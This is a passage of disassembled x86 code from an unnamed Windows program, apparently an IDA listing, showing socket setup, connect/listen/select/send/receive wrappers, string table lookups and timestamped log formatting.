[esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8075 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E2C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE2C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E2C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE2C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call near ptr 27E0000h nop mov edi, dword_511B08 mov esi, offset dword_50CE2C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E2C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E2C call near ptr 77C3FA76h nop add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5FADE9 add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5FADE9 add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02A5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E15 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01ABh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5FADE9 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5FADE9 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8735 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02A5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D863Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5FADE9 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5FADE9 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DAF8 test eax, eax jnz short loc_41A148 mov eax, dword_50DAF8 inc eax mov dword_50DAF8, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call near ptr 71AB664Dh nop jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DAF8 inc edx mov dword_50DAF8, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F30 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DAF8 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DAF8 dec eax mov dword_50DAF8, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DAF8 dec ecx mov dword_50DAF8, ecx nop jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DAC retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call near ptr 71AB406Ah nop mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax call near ptr 71AB9639h nop loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F30 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx call near ptr 71AB615Ah nop mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j call near ptr 71AB94DCh nop cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC52: ; CODE XREF: ___:0041AC46j mov 